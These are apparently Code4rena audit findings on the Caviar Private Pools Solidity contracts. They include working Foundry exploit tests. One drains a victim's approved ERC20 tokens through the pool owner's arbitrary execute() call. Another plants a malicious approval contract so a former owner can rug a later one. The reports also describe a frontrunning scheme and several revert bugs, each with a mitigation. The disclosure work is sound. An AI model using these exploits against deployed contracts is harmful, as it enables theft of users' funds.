Caviar Private Pools - ladboy233's results

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L459

Vulnerability details

Impact

PrivatePool owner can steal all ERC20 and NFT from user via arbitrary execution.

Proof of Concept

In the current implementation of the PrivatePool.sol, the function execute is meant to claim airdrop, however, we cannot assume the owner is trusted because anyone can permissionlessly create private pool.

/// @notice Executes a transaction from the pool account to a target contract. The caller must be the owner of the
/// pool. This allows for use cases such as claiming airdrops.
/// @param target The address of the target contract.
/// @param data The data to send to the target contract.
/// @return returnData The return data of the transaction.
function execute(address target, bytes memory data) public payable onlyOwner returns (bytes memory) {
	// call the target with the value and data
	(bool success, bytes memory returnData) = target.call{value: msg.value}(data);

	// if the call succeeded return the return data
	if (success) return returnData;

	// if we got an error bubble up the error message
	if (returnData.length > 0) {
		// solhint-disable-next-line no-inline-assembly
		assembly {
			let returnData_size := mload(returnData)
			revert(add(32, returnData), returnData_size)
		}
	} else {
		revert();
	}
}

the owner of private pool can easily steal all ERC20 token and NFT from the user's wallet after user give approval to the PrivatePool contract and the user has to give the approval to the pool to let the PrivatePool pull ERC20 token and NFT from the user when user buy or sell or change from EthRouter or directly calling PrivatePool,

the POC below shows, the owner of the PrivatePool can carefully crafting payload to steal fund via arbitrary execution.

after user's apporval, the target can be a ERC20 token address or a NFT address, the call data can be the payload of transferFrom or function.

Please add the code to Execute.t.sol so we can create a mock token

contract MyToken is ERC20 {
    constructor() ERC20("MyToken", "MTK", 18) {}

    function mint(address to, uint256 amount) public {
        _mint(to, amount);
    }
}

Please add the POC below to Execute.t.sol

  function testStealFundArbitrary_POC() public {
        MyToken token = new MyToken();

        address victim = vm.addr(1040341830);
        address hacker = vm.addr(14141231201);

        token.mint(victim, 100000 ether);

        vm.prank(victim);
        token.approve(address(privatePool), type(uint256).max);

        console.log(
            "token balance of victim before hack",
            token.balanceOf(victim)
        );

        address target = address(token);
        bytes memory data = abi.encodeWithSelector(
            ERC20.transferFrom.selector,
            victim,
            hacker,
            token.balanceOf(victim)
        );

        privatePool.execute(target, data);

        console.log(
            "token balance of victim  after hack",
            token.balanceOf(victim)
        );
    }

We run the POC, the output is

PS D:\2023Security\2023-04-caviar> forge test -vv --match "testStealFundArbitrary_POC"
[⠒] Compiling...
[⠑] Compiling 1 files with 0.8.19
[⠃] Solc 0.8.19 finished in 8.09s
Compiler run successful

Running 1 test for test/PrivatePool/Execute.t.sol:ExecuteTest
[PASS] testStealFundArbitrary_POC() (gas: 753699)
Logs:
  token balance of victim before hack 100000000000000000000000
  token balance of victim  after hack 0

As we can see, the victim's ERC20 token are stolen.

Tools Used

Manual Review

Recommended Mitigation Steps

We recommend the protocol not let the private pool owner perform arbtirary execution, the private pool can use the flashloan to claim the airdrop himself.

if (target == address(baseToken) || target == address(nft)) revert InvalidTarget();

        ERC721(token).safeTransferFrom(address(receiver), address(this), tokenId);

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/EthRouter.sol#L273

Vulnerability details

Impact

Should not use msg.value inside for loop in EthRouter.sol

Proof of Concept

In the current implementation, the user is expected to call change on EthRouter.sol to perform multiple changes in one transaction.

    function change(
        Change[] calldata changes,
        uint256 deadline
    ) public payable {
        // check deadline has not passed (if any)
        if (block.timestamp > deadline && deadline != 0) {
            revert DeadlinePassed();
        }

        // loop through and execute the changes
        for (uint256 i = 0; i < changes.length; i++) {
            Change memory _change = changes[i];

            // transfer NFTs from caller
            for (uint256 j = 0; j < changes[i].inputTokenIds.length; j++) {
                ERC721(_change.nft).safeTransferFrom(
                    msg.sender,
                    address(this),
                    _change.inputTokenIds[j]
                );
            }

            // approve pair to transfer NFTs from router
            ERC721(_change.nft).setApprovalForAll(_change.pool, true);

            // execute change
            PrivatePool(_change.pool).change{value: msg.value}(
                _change.inputTokenIds,
                _change.inputTokenWeights,
                _change.inputProof,
                _change.stolenNftProofs,
                _change.outputTokenIds,
                _change.outputTokenWeights,
                _change.outputProof
            );

However, the code above msg.value inside a for loop, if the change array has more than one element, the transaction would always revert and run out of fund.

Please add the following POC below in Change.t.sol, we are trying to create two private pool and perform change of both pool in one transaction via EthRouter.sol

    function test_msg_value_inside_for_loop() public {
        PrivatePool privatePool1 = new PrivatePool(
            address(factory),
            address(royaltyRegistry),
            address(stolenNftOracle)
        );

        PrivatePool privatePool2 = new PrivatePool(
            address(factory),
            address(royaltyRegistry),
            address(stolenNftOracle)
        );

        privatePool1.initialize(
            address(0),
            address(milady),
            10e18,
            10e18,
            50000,
            1999,
            bytes32(0),
            true,
            false
        );

        privatePool2.initialize(
            address(0),
            address(milady),
            10e18,
            10e18,
            50000,
            1999,
            bytes32(0),
            true,
            false
        );

        milady.setApprovalForAll(address(ethRouter), true);

        for (uint256 i = 0; i < 5; i++) {
            milady.mint(address(privatePool1), i);
        }

        for (uint256 i = 5; i < 10; i++) {
            milady.mint(address(this), i);
        }

        for (uint256 i = 10; i < 15; i++) {
            milady.mint(address(privatePool2), i);
        }

        for (uint256 i = 15; i < 20; i++) {
            milady.mint(address(this), i);
        }

        uint256[] memory inputTokenIds = new uint256[](5);
        uint256[] memory inputTokenWeights = new uint256[](0);
        uint256[] memory outputTokenIds = new uint256[](5);
        uint256[] memory outputTokenWeights = new uint256[](0);

        for (uint256 i = 0; i < 5; i++) {
            inputTokenIds[i] = i + 5;
            outputTokenIds[i] = i;
        }

        uint256[] memory inputTokenIds1 = new uint256[](5);
        uint256[] memory outputTokenIds1 = new uint256[](5);

        for (uint256 i = 0; i < 5; i++) {
            inputTokenIds1[i] = i + 15;
            outputTokenIds1[i] = i + 10;
        }

        EthRouter.Change[] memory changes = new EthRouter.Change[](2);

        changes[0] = EthRouter.Change({
            pool: payable(address(privatePool1)),
            nft: address(milady),
            inputTokenIds: inputTokenIds,
            inputTokenWeights: inputTokenWeights,
            inputProof: PrivatePool.MerkleMultiProof(
                new bytes32[](0),
                new bool[](0)
            ),
            stolenNftProofs: new IStolenNftOracle.Message[](0),
            outputTokenIds: outputTokenIds,
            outputTokenWeights: outputTokenWeights,
            outputProof: PrivatePool.MerkleMultiProof(
                new bytes32[](0),
                new bool[](0)
            )
        });

        changes[1] = EthRouter.Change({
            pool: payable(address(privatePool2)),
            nft: address(milady),
            inputTokenIds: inputTokenIds1,
            inputTokenWeights: inputTokenWeights,
            inputProof: PrivatePool.MerkleMultiProof(
                new bytes32[](0),
                new bool[](0)
            ),
            stolenNftProofs: new IStolenNftOracle.Message[](0),
            outputTokenIds: outputTokenIds1,
            outputTokenWeights: outputTokenWeights,
            outputProof: PrivatePool.MerkleMultiProof(
                new bytes32[](0),
                new bool[](0)
            )
        });

        (uint256 changeFee1, ) = privatePool1.changeFeeQuote(
            inputTokenIds.length * 1e18
        );

        (uint256 changeFee2, ) = privatePool2.changeFeeQuote(
            inputTokenIds.length * 1e18
        );

        uint256 balanceBefore = address(this).balance;

        // deal(address(ethRouter), 1000 ether);
        // act
        ethRouter.change{value: changeFee1 + changeFee2}(changes, 0);
    }

If we run the test,

forge test -vvv --match "test_msg_value_inside_for_loop"

We are getting error OutofFund

    │   ├─ [0] PrivatePool::change{value: 50000000000000000000}([15, 16, 17, 18, 19], [], ([], []), [], [10, 11, 12, 13, 14], [], ([], []))
    │   │   └─ ← "EvmError: OutOfFund"
    │   └─ ← "EvmError: Revert"
    └─ ← "EvmError: Revert"

Test result: FAILED. 0 passed; 1 failed; finished in 9.96ms

Failing tests:
Encountered 1 failing test in test/EthRouter/Change.t.sol:ChangeTest
[FAIL. Reason: EvmError: Revert] test_msg_value_inside_for_loop() (gas: 7763426)

Encountered a total of 1 failing tests, 0 tests succeeded

Why do we get OutOfFund error, because no matter what msg.value is, the first for loop is using up the msg.value, so in the second PrivateRouter#change call, there is no ETH to use, unless there is already ETH inside the ETHRouter.sol, which should not be the case.

In the above test case, if we uncomment the code below before calling ethRouter.change

deal(address(ethRouter), 1000 ether);

we run the test case again, the test actually pass, in the second for loop of the change via ETHRouter.sol, the ETH inside the ETHRouter.sol is consumed.

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

We recommend the protocol change from

// execute change
PrivatePool(_change.pool).change{value: msg.value}(
	_change.inputTokenIds,
	_change.inputTokenWeights,
	_change.inputProof,
	_change.stolenNftProofs,
	_change.outputTokenIds,
	_change.outputTokenWeights,
	_change.outputProof
);

to

// execute change
PrivatePool(_change.pool).change{value: _change.changeFee}(
	_change.inputTokenIds,
	_change.inputTokenWeights,
	_change.inputProof,
	_change.stolenNftProofs,
	_change.outputTokenIds,
	_change.outputTokenWeights,
	_change.outputProof
);

inside the for loop of the change function in EthRouter.sol

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/Factory.sol#L92 https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L484

Vulnerability details

Impact

PrivatePool deployment via Factory is prone to frontrunning and MEV

Proof of Concept

In the current implementation, the deployed private pool address is determinstically computed by the salt value.

/// @notice Predicts the deployment address of a new private pool.
/// @param salt The salt that will used on deployment.
/// @return predictedAddress The predicted deployment address of the private pool.
function predictPoolDeploymentAddress(bytes32 salt) public view returns (address predictedAddress) {
	predictedAddress = privatePoolImplementation.predictDeterministicAddress(salt, address(this));
}

the salt is used when creating the private pool as well in the factory.sol

// deploy a minimal proxy clone of the private pool implementation
privatePool = PrivatePool(payable(privatePoolImplementation.cloneDeterministic(_salt)));

// mint the nft to the caller
_safeMint(msg.sender, uint256(uint160(address(privatePool))));

// initialize the pool
privatePool.initialize(
	_baseToken,
	_nft,
	_virtualBaseTokenReserves,
	_virtualNftReserves,
	_changeFee,
	_feeRate,
	_merkleRoot,
	_useStolenNftOracle,
	_payRoyalties
);

Because the address is determinitic and can be derived by salt, this create an chance for MEV.

consider the transaction order below, user A pre-compute the private pool address.

1. user A calling Factory.sol#create to create a private pool with salt value 1.
2. user A call deposit function on the private pool to add liquidity by adding base token and NFT.

User B, a malicious user monitor the mempool and spot the transaction above.

User B submit a flashbot bundle with another transaction that call Factory.sol#create with the same salt to frontrun user A and create the private pool first.

Then User A's transaction deposit execute and User A's fund is added as liquidity into the private pool.

User A's Factory.sol#create transaction with salt 1 revert because he was frontrunned by User B.

User A also find out he is not the owner of the pivate pool because he does not hold the factory NFT of the private pool with salt 1, user B is the owner of the private pool with salt 1.

User A also lose the fund and liquidity he added to private pool beacuse user B is the owner of the private pool and he can remove the fund from the pool via arbitrary execution or call withdraw

    /// @notice Withdraws NFTs and tokens from the pool. Can only be called by the owner of the pool.
    /// @param _nft The address of the NFT.
    /// @param tokenIds The token IDs of the NFTs to withdraw.
    /// @param token The address of the token to withdraw.
    /// @param tokenAmount The amount of tokens to withdraw.
    function withdraw(
        address _nft,
        uint256[] calldata tokenIds,
        address token,
        uint256 tokenAmount
    ) public onlyOwner {
        // ~~~ Interactions ~~~ //

        // transfer the nfts to the caller
        for (uint256 i = 0; i < tokenIds.length; i++) {
            ERC721(_nft).safeTransferFrom(
                address(this),
                msg.sender,
                tokenIds[i]
            );
        }

        if (token == address(0)) {
            // transfer the ETH to the caller
            msg.sender.safeTransferETH(tokenAmount);
        } else {
            // transfer the tokens to the caller
            ERC20(token).transfer(msg.sender, tokenAmount);
        }

        // emit the withdraw event
        emit Withdraw(_nft, tokenIds, token, tokenAmount);
    }

This is MEV because User B can manipulate the transaction order to make sure if use B's create private pool transaction lands before User A's create private pool transaction and User A's depoist transaction, User B can profit and extract value from User A.

Tools Used

Manual Review

Recommended Mitigation Steps

We recommend the protocol use more field to derive and compute the deployed private pool address to avoid such frontrunning.

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L423 https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L651

Vulnerability details

Impact

Transaction revert if the baseToken does not support 0 value transfer when charging changeFee

Proof of Concept

When call change via the PrivatePool.sol, the caller needs to the pay the change fee,

	// calculate the fee amount
	(feeAmount, protocolFeeAmount) = changeFeeQuote(inputWeightSum);
}

// ~~~ Interactions ~~~ //

if (baseToken != address(0)) {
	// transfer the fee amount of base tokens from the caller
	ERC20(baseToken).safeTransferFrom(
		msg.sender,
		address(this),
		feeAmount
	);

calling changeFeeQuote(inputWeightSum)

function changeFeeQuote(
	uint256 inputAmount
) public view returns (uint256 feeAmount, uint256 protocolFeeAmount) {
	// multiply the changeFee to get the fee per NFT (4 decimals of accuracy)
	uint256 exponent = baseToken == address(0)
		? 18 - 4
		: ERC20(baseToken).decimals() - 4;
	uint256 feePerNft = changeFee * 10 ** exponent;

	feeAmount = (inputAmount * feePerNft) / 1e18;
	protocolFeeAmount =
		(feeAmount * Factory(factory).protocolFeeRate()) /
		10_000;
}

if the feeAmount is 0,

the code below woud revert if the ERC20 token does not support 0 value transfer

ERC20(baseToken).safeTransferFrom(
	msg.sender,
	address(this),
	feeAmount
);

According to https://github.com/d-xo/weird-erc20#revert-on-zero-value-transfers

Some tokens (e.g. LEND) revert when transferring a zero value amount.

Same issue happens when charging the flashloan fee

    function flashLoan(
        IERC3156FlashBorrower receiver,
        address token,
        uint256 tokenId,
        bytes calldata data
    ) external payable returns (bool) {
        // check that the NFT is available for a flash loan
        if (!availableForFlashLoan(token, tokenId))
            revert NotAvailableForFlashLoan();

        // calculate the fee
        uint256 fee = flashFee(token, tokenId);

        // if base token is ETH then check that caller sent enough for the fee
        if (baseToken == address(0) && msg.value < fee)
            revert InvalidEthAmount();

        // transfer the NFT to the borrower
        ERC721(token).safeTransferFrom(
            address(this),
            address(receiver),
            tokenId
        );

        // call the borrower
        bool success = receiver.onFlashLoan(
            msg.sender,
            token,
            tokenId,
            fee,
            data
        ) == keccak256("ERC3156FlashBorrower.onFlashLoan");

        // check that flashloan was successful
        if (!success) revert FlashLoanFailed();

        // transfer the NFT from the borrower
        ERC721(token).safeTransferFrom(
            address(receiver),
            address(this),
            tokenId
        );

        // transfer the fee from the borrower
        if (baseToken != address(0))
            ERC20(baseToken).transferFrom(msg.sender, address(this), fee);

        return success;
    }

note the code:

if (baseToken != address(0))
            ERC20(baseToken).transferFrom(msg.sender, address(this), fee);

if the fee is 0 and baseToken revert in 0 value transfer, the user cannot use flashloan

Tools Used

Manual Review

Recommended Mitigation Steps

We recommend the protocol check if the feeAmount is 0 before performing transfer

if(feeAmount > 0) {
	ERC20(baseToken).safeTransferFrom(
		msg.sender,
		address(this),
		feeAmount
	);
}

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L281 https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L281

Vulnerability details

Impact

Transaction revert in royalty fee recipient of the NFT cannot receive ETH

Proof of Concept

In the current implementation, when buying or selling via the PrivatePool, if the payRoyalties flag is enabled, the code is expected to transfer the royaliy fee to the recipient

if (payRoyalties) {
	for (uint256 i = 0; i < tokenIds.length; i++) {
		// get the royalty fee for the NFT
		(uint256 royaltyFee, address recipient) = _getRoyalty(
			tokenIds[i],
			salePrice
		);

		// transfer the royalty fee to the recipient if it's greater than 0
		if (royaltyFee > 0 && recipient != address(0)) {
			if (baseToken != address(0)) {
				ERC20(baseToken).safeTransfer(recipient, royaltyFee);
			} else {
				recipient.safeTransferETH(royaltyFee);
			}
		}
	}
}

calling _getRoyalty

/// @notice Gets the royalty and recipient for a given NFT and sale price. Looks up the royalty info from the
/// manifold registry.
/// @param tokenId The token ID of the NFT.
/// @param salePrice The sale price of the NFT.
/// @return royaltyFee The royalty fee to pay.
/// @return recipient The address to pay the royalty fee to.
function _getRoyalty(
	uint256 tokenId,
	uint256 salePrice
) internal view returns (uint256 royaltyFee, address recipient) {
	// get the royalty lookup address
	address lookupAddress = IRoyaltyRegistry(royaltyRegistry)
		.getRoyaltyLookupAddress(nft);

	if (
		IERC2981(lookupAddress).supportsInterface(
			type(IERC2981).interfaceId
		)
	) {
		// get the royalty fee from the registry
		(recipient, royaltyFee) = IERC2981(lookupAddress).royaltyInfo(
			tokenId,
			salePrice
		);

		// revert if the royalty fee is greater than the sale price
		if (royaltyFee > salePrice) revert InvalidRoyaltyFee();
	}
}

note the line of code:

recipient.safeTransferETH(royaltyFee);

although the NFT implements the IERC2981 standard and set the recipient, this does not mean that the recipient must able to receive ETH, if the recipient is a smart contract does not implementation receive payable function and cannot receving ETH, the buy / sell transaction revert because the code for trying to forcefully send ETH to the recipient

function safeTransferETH(address to, uint256 amount) internal {
	bool success;

	/// @solidity memory-safe-assembly
	assembly {
		// Transfer the ETH and store if it succeeded or not.
		success := call(gas(), to, amount, 0, 0, 0, 0)
	}

	require(success, "ETH_TRANSFER_FAILED");
}

Tools Used

Manual Review

Recommended Mitigation Steps

We recommend the protocol wrap the ETH to WETH and send to recipient to avoid transaction revert.

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L459

Vulnerability details

Impact

Prev NFT Owner can rug the later NFT Owner

Proof of Concept

The creator of the private pool has a factory NFT, representing the ownership of the Private Pool

modifier onlyOwner() virtual {
	if (msg.sender != Factory(factory).ownerOf(uint160(address(this)))) {
		revert Unauthorized();
	}
	_;
}

the owner of the private pool is a very powerful role, he can call all function that has onlyOwner modifier

one of the function is very dangerous

/// @notice Executes a transaction from the pool account to a target contract. The caller must be the owner of the
/// pool. This allows for use cases such as claiming airdrops.
/// @param target The address of the target contract.
/// @param data The data to send to the target contract.
/// @return returnData The return data of the transaction.
function execute(
	address target,
	bytes memory data
) public payable onlyOwner returns (bytes memory) {
	// call the target with the value and data
	(bool success, bytes memory returnData) = target.call{value: msg.value}(
		data
	);

	// if the call succeeded return the return data
	if (success) return returnData;

	// if we got an error bubble up the error message
	if (returnData.length > 0) {
		// solhint-disable-next-line no-inline-assembly
		assembly {
			let returnData_size := mload(returnData)
			revert(add(32, returnData), returnData_size)
		}
	} else {
		revert();
	}
}

the arbitrary allows the old NFT owner to rug new NFT Owner.

1. the old factory NFT owner of the private pool put a sell order in secondary NFT Market
2. the old factory NFT owner of the private pool approve a malicious contract to give the malicious contract allowance to transfer all base token inside the private pool.
3. a user buy the old factory NFT owner and become the new owner.
4. the old owner still have access to the private pool's liquidity and can call transferFrom to steal all base token from the pool any time.

Please add the POC below:

Please add the mock token and the malicious contract in Execute.t.sol

contract MyToken is ERC20 {
    constructor() ERC20("MyToken", "MTK", 18) {}

    function mint(address to, uint256 amount) public {
        _mint(to, amount);
    }
}

contract BadContract {
    address owner;

    constructor() {
        owner = msg.sender;
    }

    function steal(
        address token,
        address from,
        address to,
        uint256 amount
    ) public {
        require(msg.sender == owner, "invalid caller");
        ERC20(token).transferFrom(from, to, amount);
    }
}

then the test case

    function testOldOwnerRugNewOwner() public {
        address oldOwner = address(this);
        address newOwner = vm.addr(9324238981);

        MyToken token = new MyToken();

        token.mint(address(privatePool), 10000000 ether);
        console.log(
            "private pool has token balance",
            token.balanceOf(address(privatePool))
        );

        // old owner creating a sell order on secondary market such as opensea

        // old owner deploy the malicious contract,
        // and give the bad contract spending allowance of the private pool via arbtriary call
        BadContract badContract = new BadContract();

        address target = address(token);
        bytes memory data = abi.encodeWithSelector(
            ERC20.approve.selector,
            address(badContract),
            type(uint256).max
        );

        privatePool.execute(target, data);

        // the sell order is filled and new owner buy the old owner's factory NFT
        vm.mockCall(
            address(factory),
            abi.encodeWithSelector(
                ERC721.ownerOf.selector,
                address(privatePool)
            ),
            abi.encode(address(newOwner))
        );

        // old owner still capable of steal all base token from the private pool

        badContract.steal(
            address(token),
            address(privatePool),
            address(this),
            token.balanceOf(address(privatePool))
        );

        console.log(
            "private pool token balance is cleared out",
            token.balanceOf(address(privatePool))
        );
    }

We run the test

forge test -vv --match testOldOwnerRugNewOwner

the output is

Running 1 test for test/PrivatePool/Execute.t.sol:ExecuteTest
[PASS] testOldOwnerRugNewOwner() (gas: 907083)
Logs:
  private pool has token balance 10000000000000000000000000  
  private pool token balance is cleared out 0

In fact, the test case above shows the nft owner can always use execute to perform malicious approval and steal base token later, the owner can perform the malicious approval of NFT and steal all NFT from the perform even the ownership is transferred.

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

We recommend the protocol not let the owner perform arbitrary call via execute.